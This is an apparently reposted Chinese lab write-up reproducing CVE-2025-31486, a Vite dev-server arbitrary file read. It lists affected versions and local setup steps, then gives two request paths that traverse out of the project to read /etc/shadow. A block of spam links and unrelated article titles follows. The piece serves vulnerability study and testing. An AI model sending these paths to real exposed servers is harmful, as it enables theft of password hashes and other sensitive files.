当前位置: 首页 > news >正文

CVE-2025-31486 Vite开发服务器任意文件读取漏洞复现

漏洞描述

该漏洞是由于 Vite 开发服务器在处理特定 URL 请求时,未对请求路径进行严格的安全检查和限制所致。攻击者可以利用这一漏洞绕过保护机制,未经授权地访问项目根目录之外的敏感文件。

利用条件:仅在 Vite 启动时使用了 --host 或配置文件设置了 server.host 导致对外网暴露的开发环境中才会受影响。

影响版本

  • 6.2.0 <= Vite <= 6.2.4
  • 6.1.0 <= Vite <= 6.1.3
  • 6.0.0 <= Vite <= 6.0.13
  • 5.0.0 <= Vite <= 5.4.16
  • Vite <= 4.5.11

环境搭建

这里使用漏洞次新版:vite 6.2.4

1. 安装node 和 npm

# 添加 NodeSource 仓库(安装 18.x 或 20.x 都可以)
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
# 安装 node 和 npm
sudo apt install -y nodejs
# 验证安装
node -v
npm -v

2. 创建项目,按照如下所示操作

npm create vite@latest
  • 项目名回车默认:vite-project
  • 选择框架 Vanilla
  • 选择 JavaScript

3. 项目生成好后,接下来运行项目

cd vite-project
#手动降级vite到 6.2.4 版本
npm install vite@6.2.4 --save-dev
#查看版本
npx vite -v

4. 新建 vite.config.js

// vite.config.js
export default {
  server: {
    host: true
  }
}

5. 最后运行

npm install
npm run dev

漏洞复现

/etc/shadow?.svg?.wasm?init
#或者
/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw

参考:https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x


文章转载自:
http://blockhouse.apjjykv.cn
http://australoid.apjjykv.cn
http://anyuan.apjjykv.cn
http://beerhouse.apjjykv.cn
http://advert.apjjykv.cn
http://asinine.apjjykv.cn
http://bizarrerie.apjjykv.cn
http://benthograph.apjjykv.cn
http://archangel.apjjykv.cn
http://analytic.apjjykv.cn
http://aerophone.apjjykv.cn
http://audiovisual.apjjykv.cn
http://berate.apjjykv.cn
http://bobble.apjjykv.cn
http://cairo.apjjykv.cn
http://brainy.apjjykv.cn
http://acardia.apjjykv.cn
http://buckled.apjjykv.cn
http://anagoge.apjjykv.cn
http://assistor.apjjykv.cn
http://carrying.apjjykv.cn
http://breadbasket.apjjykv.cn
http://accoutrements.apjjykv.cn
http://autolyze.apjjykv.cn
http://bequest.apjjykv.cn
http://bedu.apjjykv.cn
http://castalian.apjjykv.cn
http://assertedly.apjjykv.cn
http://adenology.apjjykv.cn
http://anchormanese.apjjykv.cn
http://www.dtcms.com/a/126570.html

相关文章:

  • Pytorch实现基于FlowS-Unet的遥感图像建筑物变化检测方法
  • wireshark抓包,镜像端口,观察端口
  • protobuf的应用
  • 第三节:React 基础篇-React组件通信方案
  • JAVA Web_定义Servlet_1 欢迎考生
  • 客户案例 | 日事清×初心家居:多部门协作实现新品上架自动化
  • 分布式ID生成方案的深度解析与Java实现
  • Docker 常用命令指南
  • Python表达式入门指南:从基础到实践
  • leetcode-动态规划25
  • Java接口深度解析
  • B3647 【模板】Floyd
  • 深入 Redis 持久化:从原理到企业级应用的全景图
  • 音视频 五 看书的笔记 MediaCodec
  • 计算机网络 3-3 数据链路层(介质访问控制)
  • 第六章 进阶03 外包测试亮相
  • 第四十六篇 人力资源管理数据仓库架构设计与高阶实践
  • Nginx 命令大全:Linux 与 Windows 系统的全面解析
  • 《计算机名人堂》专栏介绍:先驱之路
  • c# BitMap的data是rgb格式还是bgr格式
  • 【Origin绘图系列第7棒】3D瀑布图
  • python入门:简单介绍和python和pycharm软件安装/学习网址/pycharm设置(改成中文界面,主题,新建文件)
  • Python的那些事第四十九篇:基于Python的智能客服系统设计与实现
  • 蓝桥杯 14g
  • Activiti(五)- 工作流引擎中流程定义删除机制
  • K8s常用基础管理命令(一)
  • PPT模板之--个人简历
  • 安全序列(DP)
  • IO流——字符输入输出流:FileReader FileWriter
  • 【服务器端表单字符验证】